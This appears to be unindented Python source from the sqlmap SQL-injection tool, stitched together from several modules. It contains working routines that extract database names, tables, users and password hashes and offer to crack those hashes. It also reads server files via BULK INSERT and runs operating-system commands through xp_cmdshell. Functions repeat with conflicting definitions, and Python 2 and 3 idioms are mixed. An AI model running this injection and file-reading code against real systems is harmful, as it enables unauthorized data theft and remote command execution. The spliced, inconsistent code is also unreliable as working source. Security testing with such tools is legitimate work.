infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(unArrayizeValue(db))
for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition:
if not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "",
", ".join(
unsafeSQLIdentificatorNaming(db)
for db in self.excludeDbsList))
logger.info(infoMsg)
query += " IN (%s)" % ",".join(
"'%s'" % unsafeSQLIdentificatorNaming(db)
for db in sorted(dbs)
if db not in self.excludeDbsList)
else:
query += " IN (%s)" % ",".join(
"'%s'" % unsafeSQLIdentificatorNaming(db)
for db in sorted(dbs))
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = filter(None, arrayizeValue(values))
if len(values) > 0 and not isListLike(values[0]):
values = [(dbs[0], _) for _ in values]
for db, table in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(unArrayizeValue(table),
True)
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables and isInferenceAvailable(
) and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD,
DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
db)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(
db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
continue
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
tables = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (
kb.data.cachedTables[-1]
if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB,
DBMS.ACCESS):
query = rootQuery.blind.query % (
kb.data.cachedTables[-1]
if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = rootQuery.blind.query % index
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB,
DBMS.INFORMIX):
query = rootQuery.blind.query % (
index, unsafeSQLIdentificatorNaming(db))
else:
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(db), index)
table = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the table names "
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
elif not conf.search:
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
if kb.data.cachedTables:
for db in kb.data.cachedTables.keys():
kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))
return kb.data.cachedTables
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%s%shex" % (self.fileTblName, randomStr())
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % remoteFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True)
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
binToHexQuery = """DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
inject.goStacked(binToHexQuery)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % remoteFile
raise SqlmapNoneDataException(errMsg)
indexRange = getLimitRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL)
and not kb.data.has_information_schema)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedUsers = []
for value in arrayizeValue(values):
value = unArrayizeValue(value)
if not isNoneValue(value):
kb.data.cachedUsers.append(value)
if not kb.data.cachedUsers and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedUsers
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1]
if kb.data.cachedUsers
else " ")
elif condition:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
logger.error(errMsg)
return kb.data.cachedUsers
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(
" AND '%s' != %s" %
(unsafeSQLIdentificatorNaming(db), dbCond)
for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query = query % (dbQuery + exclDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = arrayizeValue(values)
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
if not values and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query = query % (dbQuery + exclDbsQuery)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query = query % (dbQuery + exclDbsQuery)
query = agent.limitQuery(index, query, dbCond)
value = unArrayizeValue(
inject.getValue(query, union=False, error=False))
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
conf.dumper.lister("found databases", foundDbs)
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user)
for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable(
"(%s) AS %s" % (query, randStr),
['%s.name' % randStr,
'%s.password' % randStr],
blind=False)
if retVal:
for user, password in filterPairValues(
zip(retVal[0]["%s.name" % randStr],
retVal[0]["%s.password" % randStr])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
values = inject.getValue(query, blind=False, time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable(
) and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable(
"(%s) AS %s" % (query, randStr),
['%s.name' % randStr,
'%s.password' % randStr],
blind=True)
if retVal:
for user, password in filterPairValues(
zip(retVal[0]["%s.name" % randStr],
retVal[0]["%s.password" % randStr])):
password = "******" % hexencode(password).upper()
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
user = unArrayizeValue(user)
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index,
user)
else:
query = rootQuery.blind.query % (user, index,
user)
else:
query = rootQuery.blind.query % (user, index)
password = unArrayizeValue(
inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
logger.error(errMsg)
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(
set(kb.data.cachedUsersPasswords[user]))
storeHashesToFile(kb.data.cachedUsersPasswords)
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(',')
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = [_ for _ in dbs if _]
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(
db if isinstance(db, six.string_types) else db[0]
for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[DBMS.MSSQL].tables
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
for query in (rootQuery.inband.query, rootQuery.inband.query2,
rootQuery.inband.query3):
query = query.replace("%s", db)
value = inject.getValue(query, blind=False, time=False)
if not isNoneValue(value):
break
if not isNoneValue(value):
value = [_ for _ in arrayizeValue(value) if _]
value = [
safeSQLIdentificatorNaming(unArrayizeValue(_), True)
for _ in value
]
kb.data.cachedTables[db] = value
if not kb.data.cachedTables and isInferenceAvailable(
) and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
for query in (rootQuery.blind.count, rootQuery.blind.count2,
rootQuery.blind.count3):
_ = query.replace("%s", db)
count = inject.getValue(_,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNoneValue(count):
break
if not isNumPosStrValue(count):
if count != 0:
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
_ = safeStringFormat(
(rootQuery.blind.query if query
== rootQuery.blind.count else rootQuery.blind.query2
if query == rootQuery.blind.count2 else
rootQuery.blind.query3).replace("%s", db), index)
table = inject.getValue(_, union=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables and not conf.search:
errMsg = "unable to retrieve the tables for any database"
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
output = None
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10),
randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField,
self.cmdTblName)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query,
resumeValue=False,
blind=False,
time=False)
if (output is None) or len(output) == 0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" %
self.cmdTblName,
resumeValue=False,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(
inject.getValue(query,
union=False,
error=False,
resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
_ = ""
lines = [
line for line in flattenValue(output) if line is not None
]
for i in xrange(len(lines)):
line = lines[i] or ""
if line is None or i in (0, len(lines) -
1) and not line.strip():
continue
_ += "%s\n" % line
output = _.rstrip('\n')
return output
def pivotDumpTable(table, colList, count=None, blind=True):
lengths = {}
entries = {}
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
validColumnList = False
validPivotValue = False
if count is None:
query = dumpNode.count % table
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(
query, blind=False, time=False, expected=EXPECTED.INT)
if isinstance(count, basestring) and count.isdigit():
count = int(count)
if count == 0:
infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(
table)
logger.info(infoMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
return entries, lengths
elif not isNumPosStrValue(count):
return None
for column in colList:
lengths[column] = 0
entries[column] = BigArray()
colList = filter(None,
sorted(colList, key=lambda x: len(x) if x else MAX_INT))
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
query = dumpNode.count2 % (column, table)
value = inject.getValue(query,
blind=blind,
union=not blind,
error=not blind,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
validPivotValue = True
colList.remove(column)
colList.insert(0, column)
break
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise SqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " It won't be possible to retrieve all rows"
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
try:
for i in xrange(count):
if breakRetrieval:
break
for column in colList:
def _(pivotValue):
if column == colList[0]:
query = dumpNode.query.replace("'%s'", "%s") % (
column, table, column,
unescaper.unescape(pivotValue, False))
else:
query = dumpNode.query2.replace("'%s'", "%s") % (
column, table, colList[0],
unescaper.unescape(pivotValue, False))
return unArrayizeValue(
inject.getValue(query,
blind=blind,
time=blind,
union=not blind,
error=not blind))
value = _(pivotValue)
if column == colList[0]:
if isNoneValue(value):
for pivotValue in filter(
None,
(" " if pivotValue == " " else None, "%s%s" %
(pivotValue[0], unichr(ord(pivotValue[1]) + 1))
if len(pivotValue) > 1 else None,
unichr(ord(pivotValue[0]) + 1))):
value = _(pivotValue)
if not isNoneValue(value):
break
if isNoneValue(value):
breakRetrieval = True
break
pivotValue = safechardecode(value)
if conf.limitStart or conf.limitStop:
if conf.limitStart and (i + 1) < conf.limitStart:
warnMsg = "skipping first %d pivot " % conf.limitStart
warnMsg += "point values"
singleTimeWarnMessage(warnMsg)
break
elif conf.limitStop and (i + 1) > conf.limitStop:
breakRetrieval = True
break
value = "" if isNoneValue(value) else unArrayizeValue(value)
lengths[column] = max(lengths[column],
len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
except SqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = None
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.PGSQL):
warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms(
)
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
if infoMsg:
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedDbs = arrayizeValue(values)
if not kb.data.cachedDbs and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1]
if kb.data.cachedDbs
else " ")
elif Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if db:
kb.data.cachedDbs.append(
safeSQLIdentificatorNaming(db))
if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
blinds = (False, True)
else:
blinds = (True, )
for blind in blinds:
count = 0
kb.data.cachedDbs = []
while True:
query = rootQuery.inband.query2 % count
value = unArrayizeValue(inject.getValue(query,
blind=blind))
if not (value or "").strip():
break
else:
kb.data.cachedDbs.append(value)
count += 1
if kb.data.cachedDbs:
break
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise SqlmapNoneDataException(errMsg)
else:
kb.data.cachedDbs.sort()
if kb.data.cachedDbs:
kb.data.cachedDbs = filter(
None, list(set(flattenValue(kb.data.cachedDbs))))
return kb.data.cachedDbs
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB, DBMS.H2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
singleTimeLogMessage(infoMsg)
return
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB, DBMS.H2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
tbl)
singleTimeLogMessage(infoMsg)
continue
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True, dumpMode=True)
else:
kb.data.cachedColumns = foundData
try:
